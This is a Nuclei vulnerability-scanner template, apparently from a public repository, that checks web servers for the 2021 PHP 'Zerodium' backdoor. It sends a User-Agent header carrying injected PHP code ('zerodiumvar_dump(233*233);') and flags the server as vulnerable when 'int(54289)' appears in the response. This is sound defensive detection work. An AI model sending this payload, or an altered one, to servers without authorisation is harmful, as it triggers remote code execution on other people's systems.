nuclei-templates/vulnerabilities/other/php-zerodium-backdoor-rce.yaml

23 lines
428 B
YAML

id: php-zerodium-backdoor-rce
info:
name: PHP Zerodium Backdoor RCE
author: dhiyaneshDk
reference: https://news-web.php.net/php.internals/113838
severity: high
tags: php,backdoor
requests:
- method: GET
path:
- "{{BaseURL}}"
headers:
User-Agent: zerodiumvar_dump(233*233);
matchers-condition: and
matchers:
- type: word
words:
- "int(54289)"
part: body